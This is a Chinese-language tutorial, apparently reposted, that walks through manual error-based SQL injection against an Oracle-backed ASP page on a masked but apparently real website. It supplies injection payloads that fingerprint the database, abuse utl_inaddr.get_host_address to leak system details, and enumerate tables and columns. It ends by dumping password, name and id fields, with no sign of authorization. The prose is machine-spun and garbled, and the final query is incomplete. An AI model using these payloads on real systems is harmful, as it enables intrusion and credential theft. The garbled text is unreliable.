您现在的位置是:首页 > 教程资讯

Oracle爆错手工注入

作者:果E安全网时间:2020-10-25 22:58:01分类:教程资讯

简介0x00目标目标:0x01分辨数据库类型oracle适用--种类注解,可是不兼容;隔开实行多句子,oracle有很多系统软件表,例如user_tables,根据对这种表的浏览还可以分辨出是不是归属于oracle,此外在oracle里的一些涵数还可以用于分辨,例如utl_http.req

0x00 目标

目标:http://www.xxx.cc/view.asp?kind=NN4&bbsno=45

0x01 分辨数据库类型

oracle 适用-- 种类注解,可是不兼容;隔开实行多句子,oracle 有很多系统软件表,例如user_tables,根据对这种表的浏览还可以分辨出是不是归属于oracle,此外在oracle 里的一些涵数还可以用于分辨,例如utl_http.request 这种,語言上的小关键点还可以用于区别系统软件,例如在oracle 里|| 是连接符号,可是在别的数据库查询里就并不是了,因此 and

chr(123)||chr(123)=chr(123)||chr(123)那样的,假如能成功实行,那麼就基础应该是oracle 了。

我们在连接详细地址后再加上单引号,回到信息内容

"[Oracle][ODBC][Ora]ORA-01756: ? "

如下图

再次开展分辨在此递交:

view.asp?kind=NN4&bbsno=45 and (select count (*) fromuser_tables)>0--

view.asp?kind=NN4&bbsno=45 and (select count (*) from dual)>0—

如下图:

2

大部分能够明确是oracle 数据库查询了。Asp oracle 的数据库查询非常少罕见啊!

接下去的渗入有两个方位,一个是根据爆错来获得大家所必须的信息内容,此外一个是根据union 联合查询来获得大家所必须的信息内容。因为这一注入点没法开展union,因此 仅有根据出错来获得勒。

0x02 爆错基本资料打探

涵数:utl_inaddr.get_host_address

使用方法:utl_inaddr.get_host_address(sql Injection)

utl_inaddr.get_host_address?原意是获取ip 详细地址,可是假如传送主要参数没法获得分析便会回到一个oracle 不正确并显示信息传送的主要参数。大家传送的是一个sql 句子因此 回到的便是句子实行的結果。oracle 在起动以后,把一些系统变量都置放到一些特殊的主视图之中,能够运用这种主视图得到 要想的物品。一般十分关键的信息内容有:

1 当今用户权限 (select * from session_roles)

2 当今数据库查询版本号 ( select banner from sys.v_$version where rownum=1)

3 网络服务器出入口IP (用utl_http.request 能够完成)

4 网络服务器监视IP (select utl_inaddr.get_host_address from dual)

5 网络服务器电脑操作系统 (select member from v$logfile where rownum=1)

6 网络服务器sid ( 远程桌面连接得话必须, select instance_name fromv$instance;)

7 当今联接客户 (select SYS_CONTEXT ('USERENV', 'CURRENT_USER')from dual)

.....信息内容打探如下图:

获得信息以下:

数据库查询版本号为:Oracle9i Release 9.2.0.8.0 – Production

当今连接数据库客户名叫IGM

电脑操作系统服务平台为windows;

网络服务器sid 为igm。

0x03 获得表名

Oracle 数据库查询的注入有别于别的数据库查询,如Access 和Mysql,它包括了好多个系统软件表,这好多个系统软件表中储存了系统软件数据库查询的表名和字段名,如user_tab_columns,all_tab_columns,all_tables,user_tables 系统软件表就储存了客户的全部的表、字段名,在其中table_name 表明的是系统软件里的表名,column_name 里的是系统软件里存有的字段名,大家就可以根据这种系统软件表来猜想系统软件的数据库查询构造了!

在这儿也有一个小窍门便是我们可以根据查询系统表来找找比较敏感字段名如password 在哪个表格中。最先大家看下带有password 的表有多少个。

句子以下:

select count(*) from user_tab_columns where column_name like '%PASSWORD%'

留意在其中的% 是% 的Url 编号, 根据这一句子就可以查看user_tab_columns 系统软件表,看里边字段名与password 类似的纪录的总数,留意字段名要用英文大写表明哦!如下图:

一共带有password 字段名的表名有6 个,那大家如何知道password 字段名所相匹配的表是哪个勒?之前有一个历史悠久的方式便是融合union 查看相匹配的表名。可是今日的状况独特,没法开展union 联合查询,即使能够union 联合查询,也只有查看一个表,而且查看第二个表也是用TABLE_NAME<>’表名’来完成的,在表状况十分多的状况下,这总方式

就相形见拙勒。那有木有别的哪些便捷的方式了?想一想mysql 数据库查询手工注入中有limit 能够查询数据信息!那oracle 可否能够?Oracle 沒有limit 那样的句子因此 可以用where rownum=1 来回到第一条数据信息。可是假如想要知道别的某一条纪录怎么办呢?立即rownum=2 是不好的,这儿能够再度嵌入一个子查询句子以下:

select chr(126)||chr(39)||data||chr(39)||chr(126) from (select rownum as limit,table_name||chr(35)||column_name as data from user_tab_columns where column_name like '%PASSWORD%') where limit=2

那样就可以获得第二条纪录了,熟练掌握能够迅速获得必须的数据信息

实际效果如下图:

刚刚大家前边早已查看到一共有6 个表带有password 字段名那大家就融合武器burp 来获得下大家所必须的数据信息,对于burp 怎样读取数据,请参照我的上一篇文章。数据信息結果如下图所示:

不清楚是什么原因获得到的数据信息有误差只出現了4 个表,换别的的表也少好多个

0x04 获得字段名

如今大家讨论一下表所相匹配的字段名句子以下:

select chr(126)||chr(39)||data||chr(39)||chr(126) from (selEct rownum as limit,column_name as data from user_tab_columns whEre table_name=chr(70)||chr(71)||chr(87)||chr(49)||chr(48)||chr(49)||chr(84)) whEre limit=1

手工开展检测第一个如下图所显示:

取得成功给出第一个字段名,事后的手工大家就用burp,曝出全部的字段名,

全过程如下图所显示:

0x05 获得內容

如今了解全部的列了,那改动句子开展爆数据信息咯。。句子以下:

Select chr(126)||chr(39)||data||chr(39)||chr(126) from (selEct rownum as limit,PASSWORD||chr(35)||id||chr(35)||PASSWORD||chr(35)||NAME||chr(35)||IN_DATE||chr(35)||UP_DATE as data from FGW101T

实例教程结束,渗入就到这儿吧。

郑重声明:

果E安全网所有活动均为互联网所得,如有侵权请联系本站删除处理,转载请注明本站地址。

我来说两句